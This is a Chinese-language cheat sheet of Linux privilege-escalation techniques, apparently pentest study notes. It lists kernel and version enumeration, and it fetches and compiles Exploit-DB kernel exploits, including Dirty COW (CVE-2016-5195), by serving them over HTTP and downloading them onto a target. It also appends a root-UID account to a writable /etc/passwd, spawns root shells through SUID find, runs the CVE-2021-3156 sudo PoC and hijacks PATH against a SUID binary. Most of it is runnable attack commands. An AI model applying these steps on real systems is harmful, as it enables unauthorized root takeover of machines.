Linux提权

信息收集

手动收集信息

查看操作系统版本

1
2
3
4
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查看内核版本

1
2
3
4
5
6
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

工具收集信息

信息收集

https://github.com/rebootuser/LinEnum

提权exp收集

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

1
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

本地内核提权

  1. 查看版本信息

    1
    uname -a
  2. 扫描当前版本是否有漏洞

    1
    searchsploit linux 4.10.0-19
  3. 查看exp信息

    1
    2
    3
    searchsploit -x linux/local/45010.c
    #查看exp利用方法
    https://www.exploit-db.com/exploits/45010
  4. 使用该CVE提权

    1
    2
    3
    4
    #复制文件到当前目录
    cp /usr/share/exploitdb/exploits/linux/local/45010.c .
    #当前目录下启动web服务
    python -m http.server 80
  5. 靶机wget下载该文件

    1
    wget 172.168.20.105:80/45010.c -O bt.c
  6. 编译运行,提权

    1
    2
    3
    gcc bt.c -o bt
    chmod +x bt
    ./bt

脏牛提权

  • 漏洞描述
    • 编号:CVE-2016-5195
    • 名称:脏牛
    • 危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
    • 影响范围:Linux kernel>=2.6.22 | Android<2016-10-18
  • 漏洞原理
    • 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
1
2
3
4
5
uname -a 
寻找exp: https://www.exploit-db.com/exploits/40847
编译:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
wget下载
执行文件 ./dcow -s

/etc/passwd可写提权

  1. 使用perl生成带有盐值的密码

    1
    2
    perl -le 'print crypt("aaabbcc","123456")'
    12BWKETBcM70Q
  2. 将信息添加到/etc/passwd文件中

    1
    echo "aaa:12Qm6c8LFmbDA:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
  3. 切换用户

    1
    su aaa

定时任务提权

手动收集信息

1
2
3
4
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

添加suid权限

1
2
3
4
5
6
7
8
查看权限:whereis find
添加权限:chmod u+s /usr/bin/find
查看权限:发现有了suid权限
取消suid权限:chmod 755 /usr/bin/find

提权
find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit

sudo提权

Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

列出目前用户可执行与无法执行的指令

1
sudo -l

查看sudo版本

1
2
3
4
sudo --version
以下版存在安全隐患
sudo 1.8.2 -- 1.8.31p2
sudo 1.9.0 -- 1.9.5.5p1

漏洞探测

1
2
3
sudoedit -s /
#返回以:"sudoedit:"开头的错误可能存在安全风险
#返回以:"usage:"开头的错误响应,则无影响

复现

POC地址

https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz

1
2
3
4
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make
./sudo-hax-me-a-sandwich 1

环境变量提取

新建一段c代码:demo.c

1
2
3
4
5
6
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("ps");
}

编译:gcc demo.c -o abc
复制到:/home 目录下
添加权限:chmod u+s abc
查看哪些具有suid权限:find / -perm -u=s -type f 2>/dev/null

使用cp命令提权

1
2
3
4
5
6
7
8
cp /bin/sh /tmp/ps
将原本就存在的sh文件复制到/tmp下命名为ps,所以在/tmp下,./ps就可以执行sh,但ps的结果还是
正常查看进程
export PATH=/tmp:$PATH
这时候执行ps就是执行sh,因为环境变量加入了/tmp下
./abc
id
提权成功